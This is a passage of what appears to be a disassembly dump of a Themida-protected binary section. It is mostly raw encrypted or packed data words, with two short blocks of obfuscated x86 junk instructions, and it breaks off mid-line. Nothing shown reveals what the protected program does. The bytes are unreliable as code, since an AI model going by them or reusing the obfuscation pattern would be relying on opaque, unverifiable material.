0A79E63h, 0B37F767h, 0A61068DBh dd 0A63D1463h, 113215C5h, 0A3DCD5Dh, 443215FDh, 0A03DCF5Dh dd 0EECDEA27h, 88329B8Fh, 0B7D266h, 2037FC7Eh, 9A321566h dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 41D01E0Fh dd 232380EDh, 0ACB11084h, 8DD0371Bh, 0CB61A67h, 19321566h dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h dd 8B2A568h, 85381A87h dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 0A629B4D3h, 5FB7D263h dd 1037F744h, 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h dd 40F69638h, 0DDCBD28Fh, 55B7D299h, 8D37FC7Eh, 0CF321566h dd 26F196B8h, 94B90B65h, 8DD01E0Fh, 452380EDh, 0A17C1084h dd 0F31350DBh, 0C3D1463h, 44321465h, 0A03DCD5Dh, 1132156Eh dd 0E3DCF5Dh, 4432154Dh, 3993A0EFh, 8CB91084h, 8DDB0D22h dd 48164967h, 2232CB8Fh, 94F54A66h, 8DD03423h, 44321567h dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 0A61068DBh, 0A63D1463h dd 113215DDh, 835B884Dh, 0C9B91084h, 27D01EDBh, 0DE19DE65h dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h dd 0C1F5EA99h, 27DB0D22h, 11321564h, 3E3DCBEDh, 0C4CB9568h dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h dd 1132EA87h, 3EB3E66h, 0A6397CE3h, 33A79E63h, 0F837F767h dd 77CDEA20h, 5C7690A1h, 2230108Fh, 0CFB91566h, 83CA369h dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h dd 0DDD394BFh, 3A321566h, 0E1B79EBFh, 0CF37F76Dh, 0C03304F3h dd 6C8F9663h, 8937F744h, 0BAFB9169h, 0FA09EA99h, 113A9769h dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h dd 452398EDh, 0EBB71084h, 11349069h, 3DBB1566h, 41D01477h dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h, 0A2C2F6E6h dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h, 953DFE5Ah dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah, 88321551h dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h, 0A70E1566h dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h, 0F33304D3h dd 0DBAF9863h, 0BB37FD05h, 72F1ECB5h, 982253EDh, 6A3F9CE3h dd 82B14D63h, 8F8F987Ah, 0BC37F76Dh, 0AC165165h, 0AD8F98CDh dd 8F37F763h, 35165165h, 35BFBE36h, 41D00C13h, 67616CBh dd 0D26CBE4Eh, 0A4AF9830h, 0BB37FD05h, 0FF95FCB5h, 0CEDFFFFFh dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0AD600EC0h, 0A8ED96A7h dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4062F07Ah, 7332DCF1h dd 0BA8FFDCCh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 0BC4D3138h, 0DF07462Fh, 5140B785h, 3C6D5h, 5492B85Eh dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0DABABC2Fh dd 3C5253BFh, 596DC811h, 0B977DDD0h, 0F4B95163h, 0B575DF79h dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh dd 83D05C9Ch, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 7A17FB23h dd 25F89252h, 0FDF53FD5h, 9D1180ADh, 0B7342292h, 23AC7ACFh dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7015948Ch, 997CFFA0h dd 0C87D7FC7h, 0F305E983h, 8DDB8BA4h, 0E91850BDh, 378D8D05h dd 0B805E933h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h dd 0F2850F49h, 8BFFFFFFh, 0A9BD83C0h, 5E21Eh, 0BD830975h dd 5E21805h, 50197400h, 0B8C08B53h, 411h, 1DD58589h, 9D8D05E2h dd 5E4B361h, 585BD3FFh, 1805BD83h, 740005E2h, 0B8535017h dd 411h, 1DD58589h, 9D8D05E2h, 5E4B002h, 585BD3FFh, 0F2BBC08Bh dd 8D4672A4h, 0E9355A8Dh, 0DAB86605h, 0E98D8997h, 0F05E20Bh dd 85C7FEB7h, 5E20761h, 6250h, 30ED958Bh, 85C705E2h, 5E21B55h dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C5C35747h dd 0D4F6B339h, 36B4CF52h, 1DB53199h, 0FF05E214h, 0E21FD9B5h dd 0F7816605h, 95FFEE02h, 5E20B15h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 76C35545h, 6D8D1F3Dh, 582B5E17h dd 0E8D9D8Bh, 6A05E2h, 0AB995FFh, 0C08B05E2h, 652A1DEBh dd 4F930C5Bh, 0D54F7791h, 666FB759h, 56B2BB80h, 0EE28758Bh dd 1EC9D18Eh, 0E938530Eh, 0EDh dword_561238 dd 0D88C6660h, 840F04A8h, 0DFh, 2FCDB58Bh, 0FE8305E2h ; DATA XREF: Themida_:004EE15Co dd 22850F00h, 0C6000000h, 0E20A4985h, 69684505h, 0FF8E7269h dd 0E2262DB5h, 61858D05h, 0FF05E57Ah, 58589D0h, 8B05E204h dd 0E93E80F0h, 31850Fh, 858D0000h, 5E78561h, 0BD8BD0FFh dd 5E2234Dh, 1184C781h, 0B58B0000h, 5E22FCDh, 8B9F787h dd 0F3000000h, 0CDB58BA4h, 8D05E22Fh, 0E5AB6785h, 8BD0FF05h dd 0E232E5B5h, 0FE8305h, 22850Fh, 85C60000h, 5E20A49h dd 0BEF46854h, 0B5FFFF4Eh, 5E2262Dh, 7A61858Dh, 0D0FF05E5h dd 32E58589h, 0F08B05E2h, 0FE93E80h, 3A85h, 0E5B58B00h dd 8D05E232h, 0E7856185h, 8BD0FF05h, 0E2234DBDh, 84C78105h dd 83000011h, 0B58B08C7h, 5E232E5h, 8B9F787h, 0F3000000h dd 0E5B58BA4h, 8D05E232h, 0E5AB6785h, 61D0FF05h, 81858DC3h dd 8905E935h, 0E204A585h, 8E805h, 0FE8A0000h, 0F17EE9E2h dd 5FF9ECADh, 50C18166h, 22C781EAh, 0E800005Bh, 7, 3668CC3Fh dd 53778C35h, 6594BE66h, 685E5Eh, 0E8000000h, 14h, 924703BCh dd 7AB77EB7h, 81C01BF0h, 17F02684h, 0ADB00DCBh, 0FF5A59FCh dd 0E1813A34h, 48DCAB74h, 11E95Bh, 0ABDD0000h, 0DF48E7A7h dd 0E256BB54h, 95578211h, 81014208h, 79D50BF3h, 62C98014h dd 0ED97C381h, 0F3811B88h, 7822138Dh, 89C78B66h, 0B70F171Ch dd 0AE9CFh, 6DE50000h, 0E2BDA13Fh, 467E64A6h, 0CAE2EA81h dd 8B66500Eh, 0DEC281CFh, 0B8500ECAh, 21C2692Eh, 0A590FA81h dd 850FFFFFh, 0FFFFFF93h, 8EBh, 46900000h, 0FCE979FBh dd 68000004h, 5E93861h, 0F948C6E9h, 38CA68FFh, 0BCE905E9h dd 68FFF948h, 5E93A4Bh, 0F948B2E9h, 0CECA0CFFh, 317561C0h dd 9824D495h, 0C2C80F72h, 2A7865C4h, 2F7017ACh, 87FAE0AEh dd 0E1404E54h, 562BB7FBh, 0F7FF1BA1h, 8E28298Eh, 0B4F9F9F1h dd 276D6E76h, 993EA120h, 0FC18B9D8h, 28293209h, 0F9FC18B9h dd 0D3123982h, 717A6026h, 0C649F8ECh, 7290E151h, 0B4155146h dd 0FA4F3B6Bh, 6A1D6A01h, 0DDEEAC2Bh, 0F54E9B6h, 147F9FAh dd 0C91FF235h, 268C3FE6h, 0D000003h, 0D20B8F4Ah, 703697CCh dd 42CF770Fh, 0D85EFB6Eh, 6801FAC3h, 0B30F40E9h, 69C6F9FAh dd 0B7DCA50h, 9C159E2Ch, 93B7DCFCh, 0AFE34BECh, 5F2202BDh dd 4C891C9Ah, 4EDDD91Dh, 7CB5D00Dh, 0DF9039D7h, 6DF5312Fh dd 312F8BCCh, 61ED5AF5h, 81B2170Ah, 50F5312Fh, 1EBBAE1Bh dd 8D36574h, 0FEA1A09Fh, 0EB16B7FDh, 0F40E968h, 0C6F31369h dd 0D96FAEB5h, 65D20A5Dh, 0DEDC1D44h, 2887130h, 3AAFDCE5h dd 0DBBACFFBh, 328h, 0C1CDC90Fh, 0AA307460h, 739F23D7h dd 0C5C1C70Eh, 0AD297764h, 0AD2E6F16h, 5386FBE7h, 0FAE0414Dh dd 0A05928B6h, 0B1F0FC1Ah, 0F1812728h, 77B7FEF9h, 0D0577B18h dd 1F03577h, 6C136802h, 0EFE8B02Dh, 13567CA9h, 7A6E78EAh dd 839BC43Dh, 0D4C3756h, 3EBFCECCh, 2C2844ADh, 0DB1CF9F1h dd 318350DDh, 0F396045Ch, 2BF90h, 7632A400h, 0D9DD1968h dd 8C4C3Dh, 6A30A79Ah, 0D2E01D6Ch, 0C7D8BF34h, 3F028816h dd 99E8F6BCh, 0CEB35F63h, 5F078309h, 81D08126h, 1C01F9F1h dd 8B7B18DEh, 37F0D4CBh, 0C1C70E22h, 8F285F94h, 201F13Dh dd 0C788D150h, 1EF9F181h, 3275F421h, 5580C7C5h, 82EF7657h dd 0F9F181EDh, 58C78FEh, 3FED47C8h, 1CC67h, 696E5B00h dd 7A7D3C23h, 4180AB3Ch, 0DFDD1898h, 0EE736462h, 85C447FAh dd 1D9B5C54h, 11104D8Eh, 18B987C8h, 0D8E15EFCh, 0FAD89B7Fh dd 2FA6E901h, 226D69B5h, 47BC4A0Bh, 0F016B724h, 0A474BB1h dd 0A831B0F3h, 0F9FA60A7h, 5FB8017Eh, 0F9FA6022h, 48BFB731h dd 3FE6E895h, 4A3Ah, 7B180C00h, 7FD8A05Dh, 0FC18B9FEh dd 98E35817h, 0ADEBEC53h, 0A1A01D5Eh, 0FAD15618h, 6BB28901h dd 0FAA1710Eh, 179343F9h, 27C09BF4h, 0E7BF2CA7h, 117438A0h dd 49B581C7h, 7CF90C92h, 8F67E107h, 0E677C518h, 0C16A3Fh dd 0AE5C0000h, 47A6ECEFh, 4D8AB516h, 48B53C4Fh, 1052C77Ah dd 0F91A43B9h, 5C609ACDh, 103B8CC9h, 849EE11h, 0D9FC1891h dd 0E1165962h, 0F7E5A4DBh, 0E91150ABh, 0D81546A5h, 0FCFD640Fh dd 0DCB710BEh, 0AAFC1896h, 0DE636F2Dh, 5A57E949h, 0E0F94F42h dd 23260A17h, 0FDCD7686h, 0AFD2A901h, 5BA2EEECh, 746C912h dd 7FC2C8D6h, 22CB307Eh, 0E5046072h, 13EA180h, 0B3250000h dd 5E96EBF7h, 0DCDBC5Ah, 0B1240581h, 619AEFEBh, 5938B753h dd 8D099744h, 6B773DBCh, 32D8E416h, 860C8A4Fh, 5102A7DEh dd 80F9F183h, 6D6E599Dh, 78612027h, 7C24FFEEh, 82FF8AFCh dd 0DB1C6D39h, 0DF81B217h, 1B50FC18h, 6E3A20AEh, 7D3C2369h dd 0FFC5347Ch, 0ABF22FACh, 73F29922h, 0C3D7DC86h, 252ABA80h dd 64E9E2E8h, 0FE0D8B4Ah, 0EC6DCA7Dh, 25FC180Eh, 0EF6E114Eh dd 1A612FACh, 50AF08D1h, 0A501FBB2h, 0E1185BCEh, 4870AD3h dd 0F7169445h, 1FA6546h, 0BFB417B3h, 8DF9FBBDh, 1F93444Ch dd 39AD7DBh, 30719DCAh, 0DFA6C5CBh, 8Ch, 577B18E7h, 0F03177D0h dd 1F540201h, 0E9AD2968h, 0CD0AB5D0h, 797EC3CFh, 938FE833h dd 0E17DC203h, 0EA55B0F6h, 6D31ABEFh, 560DD1Eh, 11675F19h dd 2F5B2B6Dh, 9D248ABAh, 2BBC66F7h, 0F7FFB324h, 0B6E368B3h dd 8D05F0B3h, 0B338434Fh, 15B62746h, 0CBC73071h, 2F78830Fh dd 9ED42DA7h, 0C73C6935h, 0D1D50140h, 0F3E26D08h, 0A5221069h dd 0C4EF6836h, 0EB326F02h, 571450Fh, 79C8D6D4h, 0A0E33A80h dd 15B6FCE1h, 3CAh, 9DA7F000h, 0D92C686Eh, 0C05B6196h dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h dd 769519C1h, 788307CFh, 0E08950F2h, 405h, 4E88300h, 8B240487h dd 89512424h, 4C181E1h, 83000000h, 0C8704E9h, 4895C24h dd 104F6824h, 14890000h, 30685624h, 8B39DC0Ch, 0C4812434h dd 4, 31C68146h, 89CC0D2Bh, 8B545EF0h, 0C4812414h, 4, 4EC81h dd 4890000h, 8428F24h, 5024148Bh, 405E089h, 83000000h dd 48704C0h, 48B5C24h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 0F943DEE9h, 66E0DEFFh, 0AE388E3h, 0B82CAE4Fh dd 5E93BAEh, 0E0FFC503h, 57A627A9h, 1B0D0490h, 4CCD33Ah dd 5C6D8B2Ch, 6ECC6A57h, 77BDD10Fh, 24B49B9Dh, 71B033C3h dd 32BB9E3Ch, 672CA9C4h, 0CE4B04EBh, 1CE9167Eh, 12000005h dd 473AA0E4h, 0BA8F0B8Fh, 1554723Eh, 4B3EA4E2h, 69860C92h dd 0FAC8358Ah, 206E6DDCh, 8915C7BAh, 0FDBB3C0Dh, 3394EDD1h dd 0F9F18502h, 46D352D3h, 0B83A1B6Dh, 0D0963737h, 0D823696Eh dd 0B05E6499h, 7B8208F1h, 62B9FFF8h, 54B7F3E3h, 0EA986C2Eh dd 1C6F2BABh, 296624D5h, 6228D190h, 0CBD70564h, 0E0807ACFh dd 7CB722C8h, 831A57EFh, 941AC180h, 800CCE71h, 0DBE1144Bh dd 169C5F02h, 55212BF7h, 28746629h, 662AD09Fh, 0CAD00978h dd 0C273D457h, 13FC188Bh, 9FF88324h, 0FC188BE3h, 4672BD1h dd 0B9220DDh, 318F0DC8h, 6F33F37h, 8B3D4B80h, 9CC8FBBh dd 0D10C3A83h, 7C3A0445h, 58AFEEBh, 20B9D0CAh, 69E3h, 0EFAEC700h dd 1358A3E7h, 545287CAh, 0C70F4E31h, 0AA33B8C3h, 18B92E41h dd 0C3B335FCh, 413914Ch, 13E3Ah, 0AE000000h, 0CF265C39h dd 0A0E73D7Ch, 0EC537438h, 0FABDACE8h, 72EBFFDh dd 0ED9C18DCh, 186331AAh, 2C686CD3h, 204B9CD9h, 157036A1h dd 0EB572F69h, 5E23AFEBh, 72F71399h, 0A3FAC833h, 3652212Ah dd 8A971D25h, 6D6E7531h, 599DC427h, 6F6B2A5Dh, 4A93D823h dd 5D299323h, 38A6EC11h, 8814C689h, 0C1C7303Fh, 0F3BF3BBAh dd 0EB6CCD4Ch, 3AFC18B9h, 4FD17C4Dh, 27CA3D09h, 0A43A0411h dd 5Ah, 276D6E9Eh, 347A6120h, 2FB806F5h, 911DDD04h, 0C689080Ah dd 323C8D13h, 0B907F442h, 0E1AF2C1Dh, 1E9C5B9Ah, 13E3658Fh dd 411519Ch, 57FE3Ah, 6EC00000h, 9DC4276Dh, 89C8535Fh dd 7332494Dh, 18B965D6h, 80C7BCFCh, 8C37565Ah, 9FD94D4Bh dd 0C18751A7h, 4E5489F5h, 0EFAE9A40h, 6329ACECh, 4566D318h dd 0ABDEDA1Ah, 77992C3Eh, 3A4480Bh, 7E763978h, 2A58A13Ah dd 3FFC1822h, 974ABD89h, 343A04AEh, 1, 266A6E0Eh, 0F8E1A023h dd 59E26BB2h, 0FC18B918h, 0C26972C9h, 3D9A5683h, 0FC18B93Ch dd 0DA219ED5h, 7324B5FCh, 60E2FC84h, 2A1A4465h, 91901CDCh dd 596226AEh, 0A1858A4Dh, 0B3F7FFBEh, 57DAE368h, 0FA4E70F2h dd 0B1D4A301h, 0C7C3C90Eh, 0D4377562h, 71EBEAADh, 0A9D0BC3Fh dd 0E239767Ch, 78F75069h, 2FF9FA1Eh, 0F8E14D39h, 0A45514B2h dd 58A3E9ECh, 1C47A613h, 344EDDDBh, 8374C2B2h, 0BA950205h dd 740F95BCh, 907DDBB8h, 41AB8E87h, 29E4A278h, 863FE649h dd 11Ah, 577B18B8h, 0DF3B77D0h, 0E55201FAh, 0BB1C9F86h dd 0F9FA9FBAh, 0DB4745B0h, 0E3145B6Ch, 8F4839A5h, 30B3F209h dd 0FA9FA697h, 0A7007FF9h, 0C6793FB8h, 714A5087h, 286E6BEAh dd 5B6992DDh, 867EE8C0h, 8A7AFC32h, 4AFDBB3Ch, 3D2122DDh dd 7F48E78Bh, 5D30EDABh, 2D9F3FE6h, 0A3000000h, 0D2557918h dd 18B91475h, 0F9FC4DFCh, 8C4CB3h, 66D7B0CBh, 6FC18B9h dd 0ED747044h, 0A0E146F9h, 0D1FC18B9h, 93ED7C9Ah, 11000000h dd 0D0577B18h, 0A6EAEE51h, 277ACA47h, 0FE7919CDh, 87DF8881h dd 33669060h, 6F3141AAh, 8BE001FAh, 8208F170h, 0F6B42504h dd 47BEC97h, 2A321B9Ah, 0F18BD4F5h, 0AEF9FABDh, 0F1BF3C7Fh dd 0E3AF2BAAh, 592D15B6h, 0BBAEECEDh, 0B1DE9F38h, 3877F9FAh dd 53F0FBAFh, 416FC87Fh, 0B407E3FDh, 0B425ACFFh, 0CB3073F6h dd 18624719h, 0BBF0ED3Bh, 4BD2EB60h, 0D311E56Fh, 64E79A4Eh dd 0D38F92C3h, 993E43F7h, 0F7D38FD8h, 0E4C53209h, 0C3F41CBDh dd 2C1B09CAh, 7B18B8A6h, 0B93B3C9Dh, 9DEAFC18h, 3FBE2120h dd 0B95A1BBCh, 0BC8BFC18h, 18B9AAABh, 0BB0C7BFCh, 1F54E52h dd 77EA4102h, 7A48B5F4h, 0A091AA23h, 71F9F185h, 5B9AA13Ah dd 8FF2189Eh, 76394C4Ah, 7F45B4F7h, 0DD9EAF2Ch, 74F9F185h dd 9245AE3Fh, 900A5974h, 9AC52064h, 8DCE5D5Bh, 8B129E5Ah dd 0EC54202Ah, 0FA483C7Eh, 0C988BFFDh, 0FF7C8F13h, 904938EEh dd 3394170Ah, 0E5987202h, 384364D3h, 0B8BFE079h, 9127CEB0h dd 0C8CE0948h, 1BEB55BDh, 666C2AAFh, 0B5D0D603h, 15EAh dd 2FAE1000h, 1A23696Ch, 0FC18B959h, 0EE2AB388h, 0F3B93C7Fh dd 686E1CEAh, 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h dd 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h, 52F27883h dd 0C281E289h, 4, 4EA81h, 14870000h, 2C895C24h, 1B516824h dd 3C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push esi push 7C2B3ACBh mov esi, [esp] add esp, 4 add esi, 2731503h sub esi, 78B51352h mov edi, esi pop esi push esp mov ebp, [esp] add esp, 4 push edx mov edx, edi push edx sub dword ptr [esp], 165F7CA5h pop dword ptr [ebp+8] add dword ptr [ebp+8], 165F7CA5h pop edx mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- dd 0B8DFB7C9h, 5E940F8h, 0E0FFC503h, 2E914ADCh, 9272B66h dd 70430CA7h, 7F2F638h, 414A7796h, 4402318h, 6C0F1293h dd 122F293Bh, 5AE904EBh, 0AAE94086h, 0A2000004h, 176A7034h dd 4A3FDBDFh, 0A584028Eh, 1B6E7432h, 0B936DCE2h, 8A18C5DAh dd 0F0BE3D0Ch, 596597EAh, 8D0BCCBDh, 83245D01h, 0F9F1F8D2h dd 6ED80203h, 59D82369h, 5B5F97D6h, 18B95102h, 12AB80FCh dd 0FAE0AE2Fh, 965E5287h, 0DF46A512h, 0CA515F9Ch, 0C0393881h dd 0B420A3FAh, 0AFE995F0h, 0F46E6BD7h, 0C971CC1Ah, 265996F8h dd 0B5F3E4A7h, 1853A394h, 0A40572FCh, 555983E6h, 0BE02F849h dd 0AFF5E46Fh, 8C0F725Ch, 18532A2Bh, 3B8CFBFCh, 5F74333h dd 0AB2C1DB9h, 14979EEDh, 185382B3h, 6EEF48FCh, 0A7FC1853h dd 0FCFF42C8h, 76079B6h, 0FC18536Bh, 70FEF670h, 0F8C1C531h dd 4FD8F42h, 613C3Ah, 6E060000h, 0F40E969h, 0C6FC18B9h dd 0FF347A63h, 631E7B82h, 78FC18B9h, 948F6CEh, 4BFFC8CEh dd 3A041396h, 135h, 0EFAE0900h, 6F33A9E7h, 870BCF32h, 0FFBB3B26h dd 3FB125ACh, 18B9D99Ah, 0C63308FCh, 0F3B93CA7h, 0D4A0EAA8h dd 0AAF0E7A6h, 7326C653h, 0DDF52E01h, 0DC184760h, 8A4F32D8h dd 6ED8860Ch, 9DC4276Dh, 0B4CE5D59h, 7B49B2F5h, 7539A120h dd 5F68A516h, 90131F17h, 18B90637h, 37BCDFFCh, 55A56038h dd 6E6ADD0Ah, 25D69922h, 0C7266495h, 0E5A95396h, 9A5F22A8h dd 9246891Ch, 1355FF0Eh, 9D41EC23h, 568E3A04h, 0B000000h dd 3F2E2F88h, 88E7FC18h, 6D6E4B3Fh, 5D9DC427h, 0E48CA51h dd 8D13C836h, 0FFBB2001h, 2746B3F7h, 287339BCh, 33764E88h dd 3A0411EEh, 3B5Dh, 0EFAE6100h, 0F7907FE7h, 0E76F7C8Fh dd 0AD2E11AAh, 0F5AEAE3Bh, 13482A7Bh, 0F934988h, 5A2A1CFCh dd 25A1EFECh, 22666E3Fh, 0B9C07EDBh, 6FD9FC18h, 13BD1097h dd 1123A04h, 54000000h, 0AE2C6A6Eh, 0EF529BE2h, 1477ACEAh dd 1F6E2CADh, 71BD89B3h, 68990589h, 9CEFB329h, 0E373E5Fh dd 4840DB64h, 0B599867Fh, 7E1515B2h, 0B78C01FAh, 0F49127B0h dd 0D0154FDEh, 0AB77FC47h, 1DAEAF0Dh, 8C0ACF76h, 0F0B62306h dd 0CBB5CC95h, 7CEAF9FAh, 0FFBD3A88h, 0BAC7DF48h, 0E15E1694h dd 0FCBFC2D8h, 2928B1FFh, 5093EAB0h, 689AE1A7h, 4F88F6CEh dd 961AC083h, 0F465C677h, 36F9FA6Ch, 0FA6CA091h, 1C3A71F9h dd 0B4F8E027h, 23AFE451h, 0E6E8A865h, 0F4073Fh, 0AE3B0000h dd 2DACECEFh, 0D8912A67h, 545C9DBBh, 4F8C1FA5h, 5A2A512h dd 1FADFA9h, 536198DBh, 9C5C83C8h, 0E453B710h, 13995E81h dd 4EE572F7h, 0A05419C1h, 8A4FF2CBh, 9DCACE06h, 9412C70Eh dd 8B7BFD71h, 0D6FCBA3Fh, 0E65675A8h, 6099D83Fh, 5780C35Ah dd 5481CA51h, 3F0E73h, 18300000h, 119D5F79h, 61409D8Ah dd 75EFB21Bh, 0FB5CC338h, 0FC188DAAh, 30196CDBh, 0FC188D3Fh dd 7269286Fh, 5D64BEF0h, 6FA42EDFh, 0A420145Eh, 319689BDh dd 0FC184BD0h, 3DAC2A01h, 5Ah, 577B1841h, 0D2E777D0h, 4B3E01FAh dd 7FFC0F8Bh, 7F78FB02h, 48910639h, 30900BECh, 0F5B4526Bh dd 4C488C04h, 91ABF417h, 0CEF9FAB9h, 995EAC98h, 5FC4F713h dd 9D53F46Bh, 0F007E3FFh, 21444AB1h, 39763ABEh, 0C136B9CCh dd 1C46A0FBh, 83A7AC28h, 0BD453B9Ch, 0D3A809CAh, 0EFAE0937h dd 1045A0EEh, 7AC72D07h, 0A039F342h, 0E3664AD7h, 1156A46h dd 3EBC8D02h, 7FE60572h, 0F8C4367Ah, 0B5220783h, 7CED94F7h dd 0E59A2D81h, 8ACB6C9Dh, 5BF9F2ECh, 17B0B7ECh, 0F9F2EC26h dd 0DE2780FFh, 446D808Fh, 0BA08FCBEh, 2E537F3Dh, 9922686Fh dd 9B21D6h, 1A4C16C1h, 81AC2197h, 9CC72693h, 86C95C58h dd 63A8964Eh, 96D8A5A3h, 5A83C259h, 0A094D654h, 0F0C48E58h dd 4B575582h, 84BB01F6h, 738A18C5h, 0DB5AE1FAh, 0EE845C98h dd 9A0C4598h, 0D23D8EFBh, 3, 6E9DA7E8h, 96D92C68h, 81C05B61h dd 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h dd 0CF769519h, 0F2788307h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push 5B2Bh mov [esp], edi sub esp, 4 mov [esp], edi mov edi, 373E2A57h inc edi sub edi, 3154E88Ch mov ecx, edi pop edi push 37F8h mov [esp], esp add dword ptr [esp], 4 pop edi push ebp mov ebp, ecx push ebx mov ebx, ebp mov [edi+8], ebx pop ebx pop ebp push dword ptr [esp] pop edi add esp, 4 mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- db 0C6h dd 0D2132FB9h, 45F5B852h, 0C50305E9h, 3103E0FFh, 0E6C6E86h dd 0AB564C26h, 0A6DD1EA4h, 0DBD6066h, 16463A78h, 216A4DCBh dd 685F7677h, 7E885E3Ch, 8E5F31A3h, 30C667F7h, 60AB5E97h dd 0ACF62478h, 75C7743h, 10DD7A23h, 0BBB74F2h, 0B33922AEh dd 0DD997E83h, 80E4249Fh, 80E51CADh, 0CE0608B6h, 0B03B4FF7h dd 515B4C3Eh, 600A5E92h, 60772EC1h, 0C0FE51C7h, 36453288h dd 32DA7824h, 46C17CE8h, 5A863BE6h, 60D0DE2h, 7D3D5FC2h dd 8D8D20EEh, 5E9480Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0D0C35646h, 0C8D38166h, 0A5BD8B5Fh, 8905E22Ah dd 0E20BE98Dh, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 7BB7B5F9h, 7F25A982h dd 56BAE8CEh, 0E9601ED8h, 11h, 0ABE2E03Ah, 8BED8EF2h, 11ABD7DAh dd 87E86AA9h, 6185C746h, 0DC05E207h, 5300005Fh, 22D1B501h dd 0C75B05E2h, 0E21B5585h, 5, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0F381C9EAh dd 5E8h, 2348AB00h, 0FE90DFFh, 7B000000h, 0B011A037h, 0DF217341h dd 0F3D63D77h, 0FF587182h, 0E23045B5h, 0FFC18B05h, 0E20B1595h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 24122B48h, 528ABF52h, 8C0F2595h, 3, 6A0DE880h dd 0B995FF00h, 8B05E20Ah, 8C0CEBC0h, 0B3B9F20Ch, 81F60676h dd 0EB7C02E2h, 0C5846304h, 0CFBE972h, 0B680000h, 0E905E94Ah dd 0FFF937DFh, 0E94AF568h, 37D5E905h, 0BC68FFF9h, 0E905E94Ch dd 0FFF937CBh, 0E94DD668h, 37C1E905h, 6268FFF9h, 0E905E951h dd 0FFF937B7h, 0E952D168h, 37ADE905h, 0C868FFF9h, 0E905E953h dd 0FFF937A3h, 31DDD91Fh, 9A008470h, 636F33A7h, 35D1D71Eh dd 9D398774h, 0BD3E7F66h, 6396EBF7h, 0AF0B15Dh, 0B0291886h dd 81E0ECEAh, 0F1F13738h, 67A7EEF9h, 0A1EDEFAEh, 0B95819BEh dd 0B289FC18h, 0EBB12629h, 0E2A85190h, 1EA2589Bh, 4D39238Fh dd 40B8F8E1h, 0E03B8176h, 0AE0B3E6Bh, 0FC18B9ADh, 0AFD20F64h dd 7A0ECECh, 0F7BD3E03h, 876196EBh, 4763DFC4h, 84BBF079h dd 5B9F11C5h, 4A873457h, 6E6BEA71h, 0A4A9A228h, 34088180h dd 0B19213F1h, 